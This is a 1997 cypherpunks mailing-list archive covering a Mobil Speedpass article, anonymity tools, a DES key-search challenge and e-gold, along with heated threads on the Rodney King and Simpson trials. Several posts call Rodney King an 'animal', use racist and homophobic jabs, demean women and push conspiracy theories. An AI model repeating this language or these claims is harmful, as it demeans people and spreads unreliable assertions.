     The tiny electronic tag -- called a Speedpass -- clips onto a
     driver's key ring. Mobil is betting the technology will catch on with
     drivers tired of fumbling for cash or waiting for a pump to authorize a
     credit-card purchase.

     Whether drivers are in such a hurry that they will be interested is
     an open question. "My key chain already looks like a janitor's,"
     says Carol Coale, a Houston securities analyst.

     Mobil, which tested the Speedpass over the past six months with
     10,000 consumers in St. Louis, says the added convenience can
     save the motorist valuable time.

     Mobil's technology, developed in partnership with Texas
     Instruments Inc. and Dresser Industries Inc., is similar to that used
     by drivers at bridge and highway toll booths. Once a driver waves
     the tag at the pump, the pump instantly contacts Mobil's credit
     department and charges a credit card preselected by the customer.

     The marketing effort challenges the conventional wisdom of
     gasoline retailing. Most drivers say location is more important
     when the gasoline gauge reads "empty" than brand name or price.
     Mobil's thinking is that the gee-whiz factor of owning the
     Speedpass, combined with the convenience, will persuade people to
     go an extra mile to buy from one of Mobil's 7,700 branded stations.

     Speedpass is also an attempt to help Mobil build on its position as
     the nation's top gasoline seller. With a 9.9% share of the market,
     Mobil in 1995 overtook Shell Oil Co. as the leading gasoline seller,
     as measured in gallons sold. (Figures for 1996 aren't available.)

     Mobil, which was among the first oil companies to use
     pay-at-the-pump technology, will introduce Speedpass in key
     markets by May 1.

  ------------------------------ snip! ------------------------------

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 In the body of the message, write:  unsubscribe dcsb
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 13:03:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Any more like www.anonymizer.com ??
In-Reply-To: <v03020922af3099283a67@[139.167.130.247]>
Message-ID: <v03020949af311982b8c8@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:29 pm -0500 on 2/19/97, Attila T. Hun wrote:


>     Come on, Bob.  Quit rubbing it in about that clear blue water, the
>     tropical temperatures and high horsepower speakers.

Moi?

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 19 Feb 1997 10:34:06 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Any more like www.anonymizer.com ??
In-Reply-To: <v03020922af3099283a67@[139.167.130.247]>
Message-ID: <199702191834.LAA09190@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    Come on, Bob.  Quit rubbing it in about that clear blue water, the 
    tropical temperatures and high horsepower speakers.
        
        -attila

on or about 970219:0704 Robert Hettinga <rah@shipwright.com> said:

+At 8:29 pm -0500 on 2/18/97, ! Drive wrote:
+> A proposal and prototype of a different anonymity mechanism can be found at:
+>   http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html

+And, of course, you can hear about the next generation from the same
+bunch, on Monday morning at FC97:

+    Unlinkable Serial Transactions
+    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
+    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
+    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

+:-).

+<http://www.offshore.com.ai/fc97/> Cheers, Bob Hettinga

 _____________________________________________________________________
 
  Surveilence is just another form of entertainment.
 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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4LfcHeA/m5WSq+kK8GNbSsMq+7Bcfpw+iELlPUhbU671oecayfyJj1C/Irwr2pXF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 19 Feb 1997 11:24:26 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <330B1AC7.9D2@gte.net>
Message-ID: <199702191924.MAA11906@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970219:0722 Dale Thorn <dthorn@gte.net> said:

+Simple, but....  In a right to jury trial of peers, are the peers the
+peers of the defendant or the peers of the victim?  Both the Rodney
+King officers and the O.J. cases were perfect examples of how, when you
+switch the peer groups, you reverse the decisions.

    you trying to be some kind of trouble maker? please remember that 
    *all* the fairweather dogooder liberals have been telling us for 
    years that everyone is equal.  yeah, right!

    therefore, juries are obviously color blind, and not dazzled by 
    attorneys calling up racism.  yeah, right!

    as to Powell, he is/was an animal who should have been put away 
    permanently. 

    Koon was an officer's officer (personal experience) and was in the 
    wrong place at the wrong time, not willing to step in. Koon lost 24 
    years of service without a mark, his pension, and all his benefits 
    with 5 or 6 kids at home --and they had to go into hiding until 
    found by the liberal press again and again who obviously felt the 
    family should be punished as well.  we wont even bother with the 
    issues of double jeopardy when they pull a federal civil rights 
    trial on all of them after the state court cleared everyone except 
    Powell who they hung on.  they had a clear right to try Powell, 
    noone else.

    and the video played for evidence missed the first 90 seconds when a 
    very large animal (Rodney King can be described no other way) came 
    out of the car, dancing the jig, and went after Powell.  by the time 
    the prosecutors, particularly the Feds, were through itimidating the 
    witnesses, nobody told the truth. 

    Rodney King had been busted for public intoxication, controlled 
    substances, and disorder enough times that he was well recognized 
    for what he was  --and easily identified.

    in the spooks, we called Powell's actions "the red mask" --once you 
    start staring the beast in the eye, you are so wired on there is no 
    stopping until your opponent is jello. 'shocktroops' or 
    'Stossentruppen' should never be used in civilian police forces, 
    except possibily on SWAT teams, not an average street cop.

    and why did we have the trial in the first place? simply because the 
    LA Times and KABC decided there was going to be a trial.  I dont 
    know whether to chalk it off to their bleeding heart liberals, or 
    just the usual greed for money to be made on high profile news.
    or is it just more of the usual politically correct beat down of
    the oppressive whiteface?

    it is sometimes difficult to defend the LA Police department when 
    you knew Daryll Gates and his predecessor, "Big Ed" Davis. Both of
    them are cowboys; Big Ed is now a state senator from the far west 
    Valley, what was horse country when I lived there.  they had a job 
    to do, and LA is a mean place. the city itself is 2/3 poverty, half 
    of that extreme ghetto and barrio problems.

    Big Ed is the man who proposed the fitting ending to airline 
    hijackings, and set up his display in plain sight: in front of
    the American Airlines terminal building 4 at LAX before LAX was 
    double decked.  

    Big Ed parked a 40 ft flat bed trailer out there with a judge's 
    bench at one end and a gallows at the other end with the jury box 
    and dock in between.  yes, sir, justice by the hijackers' peers; 
    take the next 12 citizens coming out the doors.

    perfect and swift justice on someone who has no defense for his 
    actions.

    everything else falls under this short take by a prominent author 
    discussing the problem with jury selection: 

        "The men who murdered Virginia's [Nevada] original twenty-six
    cemetary occupants were never punished.  Why?  Because Alfred the 
    Great, when he invented trial by jury, and knew that he had 
    admirably framed it to secure justice in his age of the world, was 
    not aware that in the nineteenth century the condition of things 
    would be so entirely changed that unless he rose from the grave and
    altered the jury plan to meet the emergency, it would prove the most
    ingenious and infallible agency for defeating justice that
    human wisdom could contrive.  For how could he imagine that we
    simpletons would go on using his jury plan after circumstances had
    stripped it of its usefulness, any more than he could imagine that
    we would go not using his candle clock after we had invented
    chronometers?  In his day news could not travel fast, and hence he
    could easily find a jury of honest, intelligent men who had not
    heard of the case they were called to try - but in our day of
    telegraph and newspapers his plan compels us to swear in juries
    composed of fools and rascals, because the system rigidly excludes
    honest men and men of brains.

    "I remember one of those sorrowful farces, in Virginia, which we 
    call a jury trial.  A noted desperado killed Mr. B, a good citizen, 
    in the most wanton and cold-blooded way.  Of course the papers were 
    full of it, and all men capable of reading read about it.  And of 
    course all men not deaf and dumb and idiotic talked about it.  A jury
    list was made out, and Mr.  B. L., a prominent banker and a valued
    citizen, was questioned precisely as he would have been questioned
    in any court in America:

        "`Have you heard of this homicide?'
        "`Yes.'
        "`Have you held conversations on the subject?'
        "`Yes.'
        "`Have you formed or expressed opinions about it?'
        "`Yes.'
        "`Have you read newspaper accounts of it?'
        "`Yes.'
        "`We do not want you.'

        "A minister, intelligent, esteemed, and greatly respected; a 
    merchant of high character and known probity; a mining 
    superintendent of intelligence and unblemished reputation; a 
    quartz-mill owner of excellent standing, were all questioned in 
    the same way, and all set aside.  Each said the public talk and the
    newspaper reports had not so biased his mind but that sworn
    testimony would overthrow his previously formed opinions and enable
    him to render a verdict without prejudice and in accordance with
    the facts.  But of course such men could not be trusted with the
    case.  Ignoramuses alone could mete out unsullied justice.

        "When the peremptory challenges were all exhausted, a jury of 
    twelve men was empaneled - a jury who swore they had neither heard,
    read, talked about, nor expressed an opinion concerning a murder
    which the very cattle in the corrals, the Indians in the sagebrush,
    and the stones in the streets were cognizant of!  It was a jury
    composed of two desperadoes, two low beerhouse politicians, three
    barkeepers, two ranchers who could not read, and three dull, stupid,
    human donkeys!  It actually came out afterward that one of these
    latter thought that incest and arson were the same thing.  "The
    verdict rendered by this jury was, Not Guilty.  What else could one
    expect?  "The jury system puts a ban upon intelligence and honesty,
    and a premium upon ignorance, stupidity, and perjury.  It is a shame
    that we must continue to use a worthless system because it was good
    a thousand years ago.  

        In this age, when a gentleman of high social standing,
    intelligence, and probity swears that the testimony given under
    solemn oath will outweigh, with him, street talk and newspaper
    reports based on mere hearsay, he is worth a hundred jurymen who
    will swear to their own ignorance and stupidity, and justice would
    be far safer in his hands than theirs.  Why could not the jury law
    be so altered as to give men of brains and honesty an equal chance
    with fools and miscreants?  Is it right to show the present
    favoritism to one class of men and inflict a disability on another,
    in a land whose boast is that all its citizens are free and equal?

        I am a candidate for the legislature.  I desire to tamper with 
    the jury law.  I wish to so alter it as to put a premium on
    intelligence and character, and close the jury box against idiots,
    blacklegs, and people who do not read newspapers.  But no doubt I
    shall be defeated - every effort I make to save the country `misses
    fire.'"
            --From "Roughing It" by Mark Twain, Chapter XLVIII.

 _____________________________________________________________________
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 

 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shark <shark@turk.net>
Date: Wed, 19 Feb 1997 10:00:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <330B4030.36C0@turk.net>
MIME-Version: 1.0
Content-Type: text/plain


Trial




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 20 Feb 1997 12:55:44 -0800 (PST)
To: trei@process.com
Subject: DES search publicity (was Re: Cryptanalysis)
In-Reply-To: <199702201608.IAA15665@toad.com>
Message-ID: <199702192005.UAA01691@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei <trei@process.com> writes:
> Bill Stewart <stewarts@ix.netcom.com> writes:
> > There may be a distributed Internet crack using that approach, 
> > though DES is still very inefficient on general-purpose computers and 
> > works better on bit-twiddliing chips.
> 
> There's one slowly shaping up, organized by the same people who did 
> the RC5-48 crack. I'm still rooting for an uncoordinated search, 
> which is already underway.

The people who did the RC5-48 crack over on <des-challenge@muffin.org>,
and <des-pr@mail.des-challenge.xtn.net>, or at least one of them in 
particular, seems dead set on giving the prize fund 50:50 to the EFF/GNU.  
I'm having a heck of a time talking him out of it.

What does your software do with the key if it finds it?  Attempt to
email it RSA DS/email it to you/report it to user/other?

Do you know how many people are running your uncoordinated breaking
project?  Are you keeping track of how many people have copies.  (I
suppose that not knowing how many people are running the client is a
disadvantage with the uncoordinated approach.)

I'm trying to get UK Computer shopper to include an uncoordinated DES
searcher in their cover CD, along with a feature article on the
challenge (I thought the possibility of winning $10,000 might be a
large part of the interest factor for a reader).  Don't know if
they'll be interested yet.

(What I'm keen on is the sheer size of the readership -- if 10% of
that lot runs the software, something might happen fast!)

Has anyone tried doing something similar in the US?  Anyone with
contacts with other PC magazine with CD/disk on front format,
preferably with large readership, in UK, US, or other countries?

For this kind of project, you'd need something with a simple windows
interface and install script.  I'd have thought a DES breaker which is
installed in win3.1/win95 to always start at boot up, and consume free
cycles (ie set to back off when the machine is doing other things).  A
screen saver with nice presentation would be one way to do this.

Do any of the breakers do this?  Are there clients from other breaks
which could be adapted which do?  I think someone wrote a screen saver
based breaker after the SSL break?

Adam

ps

Have there been any sightings of your code outside the US?

Rumor has it that ftp://ftp.replay.com/pub/incoming is a place where
things often turn up, but I haven't seen it yet.
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 23:59:43 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702191924.MAA11906@infowest.com>
Message-ID: <330C03B2.B39@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
> on or about 970219:0722 Dale Thorn <dthorn@gte.net> said:
> +Simple, but....  In a right to jury trial of peers, are the peers the
> +peers of the defendant or the peers of the victim?  Both the Rodney
> +King officers and the O.J. cases were perfect examples of how, when you
> +switch the peer groups, you reverse the decisions.

>     you trying to be some kind of trouble maker? please remember that
>     *all* the fairweather dogooder liberals have been telling us for
>     years that everyone is equal.  yeah, right!
>     therefore, juries are obviously color blind, and not dazzled by
>     attorneys calling up racism.  yeah, right!

It just makes me a little nervous to see jurors getting so personally
involved that they come out of the box with a clenched fist as a
(I suppose) victory salute.  I didn't care to watch the charade in
Santa Monica recently, but I doubt it was much better.

>     as to Powell, he is/was an animal who should have been put away
>     permanently.

I watched most of the first trial live in '92, since I wasn't working
that year. My impressions at the time went along with the presentation,
which was fair to the officers.  It was stated by Koon and one of the
other officers as much as a year later, when many cities across the
U.S. had been using the King video for training for several months to
a year, "The LAPD has not to this date provided their officers with
new tools and techniques to handle this kind of situation without a
repeat of the same" (quote approximate). Of course, if you're willing
to consider an alternative scenario, one which would appeal primarily
to "conspiracy buffs" and the like, you might recall that L.A. was
getting ready to put in a new freeway from the airport across the
very line where the most fires were (6,000-plus fires, so extensive
that the big jets couldn't fly over to LAX), and I think the outcome
was to save them a lot of work, a windfall as it were.

>     Koon was an officer's officer (personal experience) and was in
>  the wrong place at the wrong time, not willing to step in. Koon lost
>  24 years of service without a mark, his pension, and all his benefits
>     with 5 or 6 kids at home --and they had to go into hiding until
>     found by the liberal press again and again who obviously felt the
>     family should be punished as well.  we wont even bother with the
>     issues of double jeopardy when they pull a federal civil rights
>     trial on all of them after the state court cleared everyone except
>     Powell who they hung on.  they had a clear right to try Powell,
>     noone else.

It's good if you don't read the L.A. Times.  One of their lead editor-
ializers (whores), a professor at USC law school named Erwin
Chemerinsky,
writes in relation to this subject "The federal government is an inde-
pendent sovereign that cannot have its powers diminished by a state
government's actions." (exact quote, 2/7/97).  Either that's a load of
BS doubletalk, or it's one of the more fascistic commentaries from the
Times, which is usually bad enough.
 
BTW, the Times printed a large picture (first time I've ever seen) of
the chairman, someone named Schlossberg, and I think it's spelled
slightly different than the one who married Caroline Kennedy.
Anyway, this guy could be Michael Eisner's twin brother.  Two bozos
if I ever saw 'em, goofy-looking dudes, which would explain much
about their newspaper editorial policy.

>     and the video played for evidence missed the first 90 seconds when a
>     very large animal (Rodney King can be described no other way) came
>     out of the car, dancing the jig, and went after Powell.  by the time
>     the prosecutors, particularly the Feds, were through itimidating the
>     witnesses, nobody told the truth.

The suppression of evidence that worked in the police officers' 2nd
trial has apparently become the precedent for a whole lot of trials.
The feds are sweating hard on this OKC bombing thing - latest is that
the initial witnesses seeing McVeigh here or there have admitted to
contradictory descriptions they've given before.

Note that there was some jury tampering (IMO, and others too) in the
grand jury proceeding in OKC; also note the flimsy excuse for throwing
out the grand jury in the Simpson case, since they weren't going to
indict Simpson.  I didn't even read close on the De La Beckwith case,
where the feds finally nailed him after 20-plus years of trying, but
maybe there's something on the internet....

>     Rodney King had been busted for public intoxication, controlled
>     substances, and disorder enough times that he was well recognized
>     for what he was  --and easily identified.

Let anyone say whatever they want to about cops, but I'm glad it's
not me out there facing 220-lb guys on dust.  I heard first hand
from one who shot a guy twice, and he just kept coming.  If a .38
won't stop 'em, maybe that's where the big dogs come in handy.
It would've been interesting if the King video had a minute or so
with a couple of K-9's...

>     in the spooks, we called Powell's actions "the red mask" --once you
>     start staring the beast in the eye, you are so wired on there is no
>     stopping until your opponent is jello. 'shocktroops' or
>     'Stossentruppen' should never be used in civilian police forces,
>     except possibily on SWAT teams, not an average street cop.

When I went into the Army for combat training, I stood 5-10 and
weighed 120 lbs.  I weighed 130 when I came out.  I guess I could
have gone on patrol looking for Charlie, and maybe kept alive, if
I didn't have to take on some well-fed crazies whose lives were
turning to shit because of their enormous stupidity.  In any case,
I couldn't go out on the street in L.A. and face guys like King,
so I lean toward the cops as much as I can.  BTW (and speaking of
stupidity), the Christopher Commission named 44 or 45 cops out of
the LAPD's 8,000-plus as problem officers, and two(!) of the 45
went to the Simpson home the night/morning of the murders.

>     and why did we have the trial in the first place? simply because the
>     LA Times and KABC decided there was going to be a trial.  I dont
>     know whether to chalk it off to their bleeding heart liberals, or
>     just the usual greed for money to be made on high profile news.
>     or is it just more of the usual politically correct beat down of
>     the oppressive whiteface?

Big Money, Big Fame, Big Fortune.  Look at Dan Rather, Robert McNeil,
Bill Moyers, and others who profited handsomely from their on-the-
scene experience in the JFK killing.  Remember Netanyahu, who spent
all those hours on the telly during the Gulf War, playing the role
of the ultra-conservative Israeli leader who could step right in and
take command in a crisis?  Well, he did, and have you seen any recent
pictures of him?  Even when he's with Yessir Yurafart, he's beaming
broadly, like the cat that just ate the canary.  Big, big money.

>     it is sometimes difficult to defend the LA Police department when
>     you knew Daryll Gates and his predecessor, "Big Ed" Davis. Both of
>     them are cowboys; Big Ed is now a state senator from the far west
>     Valley, what was horse country when I lived there.  they had a job
>     to do, and LA is a mean place. the city itself is 2/3 poverty, half
>     of that extreme ghetto and barrio problems.
>     Big Ed is the man who proposed the fitting ending to airline
>     hijackings, and set up his display in plain sight: in front of
>     the American Airlines terminal building 4 at LAX before LAX was
>     double decked.
>     Big Ed parked a 40 ft flat bed trailer out there with a judge's
>     bench at one end and a gallows at the other end with the jury box
>     and dock in between.  yes, sir, justice by the hijackers' peers;
>     take the next 12 citizens coming out the doors.
>     perfect and swift justice on someone who has no defense for his
>     actions.

[heh heh]

The people of L.A. really liked Gates, because he kept the peace.
And they liked (Uncle) Tom Bradley just as well, since he kept the
city really clean.  No trash on the streets, no dirt, all the
beautiful shrubs lining the freeways well-watered - you ought to
see Hollywood since they started putting in the "subway" under
Mayor Riordan.  Anyone with any sense of pride at all would be
aghast at what's happened. Streets caving in, wooden planks covering
big holes on lots of streets that you have to drive over, it's a mess.
Even a lot of the old stars on the Walk of Fame were badly damaged.
Riordan must be a Communist, or Mafia or something.  Funny that when
he ran for mayor, his huge billboards all over town had his name in
big letters, and the next-to-last letter (a) was replaced with a
large red star, looking exactly like the ones they used under Mao.

[remainder snipped]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Wed, 19 Feb 1997 16:53:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: It's time to move on, kids.
Message-ID: <199702192325.AAA15073@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


As of 2/14/97 there are 1295 subscribers to the cypherpunks mailing list.
85 of those subscriptions are to other mail-exploders. Smoke 'em if you
got 'em.

-Golem




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 20 Feb 1997 00:44:55 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702191924.MAA11906@infowest.com>
Message-ID: <3.0.1.32.19970220004926.0073696c@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:56 PM 2/19/97 -0800, Dale Thorn wrote:

>It's good if you don't read the L.A. Times.  One of their lead editor-
>ializers (whores), a professor at USC law school named Erwin
>Chemerinsky,
>writes in relation to this subject "The federal government is an inde-
>pendent sovereign that cannot have its powers diminished by a state
>government's actions." (exact quote, 2/7/97).  Either that's a load of
>BS doubletalk, or it's one of the more fascistic commentaries from the
>Times, which is usually bad enough.

Hey, don't forget to shoot the messenger. Chemerinsky's statement is a
concise summary of at least the last 70 years of double jeopardy
jurisprudence. The only thing that's unusual about the use of the "dual
sovereign" doctrine against the cops who beat King was that it's usually used
against ordinary citizens, not cops. 

Do you suppose it's possible that some of the other evil conspiracies you see
lurking behind every bush are also just reflections of your own fears and
misunderstanding? 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Wed, 19 Feb 1997 17:57:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Detweiler trolls^Wrides again
Message-ID: <199702200025.BAA25036@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Vladimir Z. Nuri wrote:

> Date: Fri, 14 Feb 97 12:57:17 -0800
> From: "Vladimir Z. Nuri" <vznuri@netcom.com>
> To: Tim May <tcmay@got.net>
> Cc: cypherpunks@toad.com
> Subject: Re: Keep it Simple and the Cypherpunk Way
>
>
> what TCM continues to stick his head in the sand over
>
<snip><snip><snip>
>
> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing

a troll




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 20 Feb 1997 07:23:44 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702191924.MAA11906@infowest.com>
Message-ID: <330C6C52.1DF7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 11:56 PM 2/19/97 -0800, Dale Thorn wrote:
> >It's good if you don't read the L.A. Times.  One of their lead editor-
> >ializers (whores), a professor at USC law school named Erwin Chemerinsky,
> >writes in relation to this subject "The federal government is an inde-
> >pendent sovereign that cannot have its powers diminished by a state
> >government's actions." (exact quote, 2/7/97).  Either that's a load of
> >BS doubletalk, or it's one of the more fascistic commentaries from the
> >Times, which is usually bad enough.

> Hey, don't forget to shoot the messenger. Chemerinsky's statement is a
> concise summary of at least the last 70 years of double jeopardy
> jurisprudence. The only thing that's unusual about the use of the "dual
> sovereign" doctrine against the cops who beat King was that it's usually
> used against ordinary citizens, not cops. Do you suppose it's possible
> that some of the other evil conspiracies you see lurking behind every
> bush are also just reflections of your own fears and misunderstanding?

My background is not so much in conspiracy as it is in rational
problem solving.  Conspiracy is yet another model/filter with which
to evaluate events, sometimes useful unless a person automatically
rejects all of that and subscribes to the Elmer Fudd view of history.

I understood clearly the (supposed) intent of the feds in retrying
the Whites in the South who were beating up on Blacks and getting
off with White juries - I just believe they would have served the
people better by declaring mistrials or something instead of using
the "dual sovereignty" BS, since a study of the Constitution and
its preparatory papers shows the fathers clearly would have balked
at this.

One or more of the top feds also commented on the possibility of
retrying Simpson in another criminal case, saying it was not
possible under current law since it didn't have the same aspects
as the Rodney King cops trials. However, that doesn't take anything
away from the fact of a "democracy" run amok, in the hands of bozos
like Michael Eisner and what's-his-schmuck at the L.A. Times, who
are constantly beating the drums for revenge, so that the people
will find "some way, somehow" to lynch people like Simpson, to
"make him pay" for what he "so obviously" did to his victims.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 20 Feb 1997 07:35:09 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: All Hail Emperor Lewis! (was: Re: status: shoppingplanet jan 20
In-Reply-To: <iNLe3D11w165w@bwalk.dm.com>
Message-ID: <330C6F05.7ACB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > These working examples also prove the other point I have found myself
> > having to repeat... i.e. that anyone who posts to USENET news is trivially
> > ``cullable'', and that E-mail spammers can have all of the E-mail addresses
> > they could ever hope to use any day of the week.

> Did you notice that when the 'censorship experiment' on the CypherPunks
> list was abandoned, that Greg Broiles called for the list to be 'killed'?
> Did you notice that when he was ignored, that he then changed his
> postition to suggest that UseNet was the proper forum for continuing
> the list?

Life is too complicated, ya' know?  I just wanna know who is this
PATTI SHOCK <shock@nevada.edu>  person, who's allegedly calling for
a moderation of some forum on Usenet.  The way I see it, if she's a
real babe, somebody should fix her up with some censored material
just to keep her happy.  Then just let some really mean, dirty
material through once a month or so, just so she knows the process
is working, and protecting her from all sorts of hideous stuff.

OTOH, if she's a Chelsea Clinton look-alike, why bother?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 20 Feb 1997 06:58:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] Dale Thorn Conspiracy Theory
In-Reply-To: <330C09DD.14B2@gte.net>
Message-ID: <N2DF3D20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


(When I got back from WashDC, there were close to 300 new e-mails,
and I'm still digging through the old ones.)

Dale Thorn <dthorn@gte.net> writes:

> Toto wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Take no offense, but why nobody thought about an obviously more likely
> > > > conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to
> > > > destroy cypherpunks. I personally find the above unlikely, but at least
> > > > more likely than all other suggestions (which I think are an example
> > > > of the delusion of grandeur).

Is LD on this mailing list? Someone should invite him.

> OTOH, I had an instant crush on Zoe Baird.  It broke my heart when
> those heartless bastards in the Senate didn't confirm her.  You just
> can tell when a babe like that can't get in, that the politicians
> love the money better than the women.  Must be a bunch of homosexuals.

I think Kimba Wood is a fine judge.

> Fruit of the Loom was one of the first undie mfrs. to go offshore,
> possibly Taiwan, possibly to the Reds subcontracting off the island.
> You realize that Chiang Kai-Shek(sp?) was either the first or 2nd
> richest man in the world during and after WWII? Running guns, drugs,
> and boxer shorts for the CIA/FOTL company.

Did you know that did wife was Russian?


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Feb 1997 06:11:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: E-Gold:  It had to happen
Message-ID: <v03020901af31fc497ff2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Ian Grigg <iang@systemics.com>
MIME-Version: 1.0
Precedence: Bulk
Date: Thu, 20 Feb 1997 10:53:31 +0100
From: Ian Grigg <iang@systemics.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: Re: E-Gold:  It had to happen

some dead guy called gold dot wrote:
> Yo, c-punks:

Yo, dude

>  In the back of the March 97 issue of Liberty Magazine is an ad
>  for a gold backed e-money system called e-gold(tm).  It appears
>  to be an on-line transaction system for paying other e-gold
>  account holders in e-money backed with gold or other precious
>  metals.

Nice one, perhaps you could scan in the ad, seeing as my issue doesn't
arrive until ... March.  Your system "appears to be" an accounting
system stuck on top of SSL.  But I guess we don't get to find out, for
sure, unless we commit lots of bucks...

>  See http://www.e-gold.com/ for more info.

Yeah, nice pages, lots of homework done here folks, but you forgot to
mention:

  who are you?
  where are you?
  when are you?
  will you be?

--
iang
iang@systemics.com
----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
